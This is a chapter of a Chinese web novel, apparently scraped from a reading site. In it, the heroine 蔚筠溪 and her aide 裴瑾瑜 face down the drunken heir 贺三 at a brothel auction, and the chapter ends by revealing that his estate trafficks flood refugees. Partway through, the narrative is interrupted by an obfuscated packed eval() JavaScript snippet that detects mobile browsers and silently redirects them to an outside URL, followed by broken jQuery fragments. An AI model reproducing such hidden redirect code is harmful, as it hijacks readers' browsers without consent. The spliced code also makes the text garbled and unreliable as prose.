26. 第 26 章

作品:《妖后重生后她一心找茬

    被蔚筠溪怼了的裴瑾瑜也没生气,只是低声笑了笑。


    的确,这件事确实算是废话了。


    毕竟林家已经彻底惹怒了当今,宫里那位也不知道有没有察觉到当今的心意。


    “林家出了位贵妃。”他说,“当今林家掌权的实际上是这位贵妃。”


    “林家所做的一切都是基于这位贵妃的指令。”


    蔚筠溪挑眉。


    那位林贵妃她也有所耳闻,她爹曾经夸过她是个聪明人。


    既然是聪明人,那就不应当做出这样的自取死路的选择。只不过,这江南天高皇帝远的,林家想干些什么,那位贵妃真的能约束得住吗?


    蔚筠溪对此持保留意见。


    裴瑾瑜说得再情真意切,也只能当做参考,要是真信了,倒霉的可就是她了。


    裴瑾瑜当然知道蔚筠溪不会相信,不然他也不会就这么轻易地说出来。


    “那林家跟你有什么关系?”蔚筠溪没给裴瑾瑜过多思考的时间,捏着他的下巴,在外人看来就好像耳鬓厮磨一般。


    只是裴瑾瑜只觉得悚然,美艳至极的脸凑在他面前,墨色的眸子像是能把他吸进去,没有半分笑意。


    “没有关系。”


    他说。


    “我与林家没有交集。”


    蔚筠溪松开裴瑾瑜的下巴,笑了一下。


    假的。


    真要没有交集,他就不会说没有交集。


    也不知道是裴瑾瑜不想瞒她,还是想瞒她。既没有说实话,也没编一个天衣无缝的假话,反倒处处是漏洞。


    “好吧。”蔚筠溪遗憾地说。


    今天的收获也不算少了,她也就没必要揪着这点小事。


    拍卖开始了。


    蔚筠溪的目光移开了。


    她答应了花容将她带走,不会食言。


    “一千两。”蔚筠溪举牌。


    场下一片哗然。


    这才刚开始,是哪个冤大头刚开场就喊这么大?


    底下的嫖客相互望着,很快就有人注意到了蔚筠溪。


    贺三是贺家的长子,家中产业却都在姐姐贺钰手里,他对此颇有微词。但他骂又骂不过打又不敢打,只能经常来这里借酒浇愁了,身边还有些狐朋狗友撺掇着。


    不过他这次可是在老爷子面前露了个大脸,难得压过贺钰一头,这几天都在惊鹊楼撒钱。对花容更是势在必得,哪成想半路杀出个程咬金,可把他气坏了。


    “要不咱给你撑撑场子?金陵城哪个不知道你的名号?还敢跟你抢人!”有人撺掇着。


    要是寻常贺三不一定有这胆,毕竟他的钱可都是贺钰给的,到时候闹起来他被抓进去,贺钰是决计不会来捞他的。虽然最后他会被放出来,但他的脸可就丢大发了。


    但今儿不同,他这刚受到老爷子的垂青,正是意气风发的时候,偏又喝了二两黄酒,正好酒壮怂人胆,他就领着狐朋狗友去找那‘程咬金’去了。


    ‘程咬金’本金显然不知道还有这种蠢人,她正无聊着呢,就看见乌泱泱一大群人过来给她送乐子来了。


    “哟呵,”蔚筠溪斜倚在小几上,看见领头的人笑了,“贺家的人吧。”


    这倒也不是贺家人长相特别,只是领头这蠢货身上挂着个玉佩,上面明明白白写了“贺”字。


    出来找事,还把自家名号挂上,生怕人找不到仇家是吗?


    蔚筠溪好整以暇地看着来人,眉毛都没抬一下。


    贺三看见院子里坐着的是个女子其实就已经有些胆怯了,他从小到大都被女子压着打,况且,这位的长相还分外眼熟。


    贺三眼中闪过不忿。


    只是,她不过是个女子,有什么好怕的?还能又是一个贺钰不成?


    他身后跟着乌泱泱一大群人,其中不光有他身边的狐朋狗友,还有看见热闹过来瞧瞧的嫖客。经常出入惊鹊楼的只有极少数不认识贺三,大多都会给他身后的贺家一个面子。


    到底是金陵地头蛇。


    贺三已经隐隐有些后悔了。他来之前可没想到会有这么大的阵仗,但现在这情形他是退不下去了,要是退了,他的脸还要不要了?!


    “就是你在跟我抢花容?”贺三趾高气昂地走到蔚筠溪面前,神色轻蔑,常年被酒色养出来的将军肚一挺一挺的。


    “一个女人还出来逛什么花楼啊?说不定就是想要男人了,你说,我们现在这么多的人,你是想要一个还是哥几个一块上啊?”


    “傻缺就不要出来了,”蔚筠溪冷笑一声,“省得自己满嘴喷粪还以为是别人身上有味呢。”


    蔚筠溪骂完就没再搭理贺三。


    人丑,不想看。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229378|162116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贺三被气得个半死,就发现还有更气人的。


    眼前这女子直接不看他了,就好像他是个什么脏东西似的。


    “裴瑾瑜,你来。”蔚筠溪闭了闭眼,实在不想污染自己的眼睛。


    “是。”裴瑾瑜拱了拱手,抬眼看向贺三。


    他笑道:“贺三叔,许久不见。”


    贺三显然没想起来这小白脸是哪位,不耐烦道:“你谁啊?跟我套近乎?给我让开!”


    裴瑾瑜也没意外只是笑了一瞬,慢条斯理地从身侧拔出一把剑来。


    贺三猛地退后三步,说话都结巴了:“你、你要干嘛?知道我是谁吗?!还敢拔剑!”


    裴瑾瑜当然知道他是谁,不过那又如何呢?


    刀架到了贺三脖子上。


    裴瑾瑜是学过君子六艺的,并且学得还算不错,动作比起不知道颓废了多少年的贺三不知道要快多少。


    他笑眯眯地:“我家大人说了,要我解决。”


    蔚筠溪挑眉。


    呦呵,看不出来啊,这么果决。


    贺三腿都软了,也不嚣张了,像是只没了嘴的鸭子,哑了。


    好在拉架的人来了。


    老鸨赔着笑,面前这两个她都惹不起,不如直接将他们拉开。她小心翼翼地躲开裴瑾瑜的剑,拉着贺三。


    “三爷哎,您往这边来做什么呀?您不是还要拍花容吗?”


    老鸨这话可就戳了贺三的肺管子了。


    他当即就炸了,也没管架在脖子上的剑:“爷是贺家长子!你是不是看不起我?!”


    老鸨拍了拍自己的嘴,她这破嘴。


    好在,贺三忘了脖子上的剑,裴瑾瑜没忘。


    他轻巧地将剑往前送了送,在贺三脖子上割出一道血痕。


    贺三终于想起来自己现在的处境。


    他苍白着脸,哆哆嗦嗦,色厉内荏:“你要干什么!我爹不会放过你的!”


    “没关系,我也不会放过你的。”


    蔚筠溪托着腮,笑着。


    贺家那个庄子是贺三的,从到了贺三手里就一直做着人口买卖的活计。


    江南溃坝,产生的流民大多被安置在贺三那个庄子里,男子成了不知道哪个家族的隐户,或者是私兵,女子就被卖往各地的秦楼楚馆。


    惊鹊楼就是其中之一。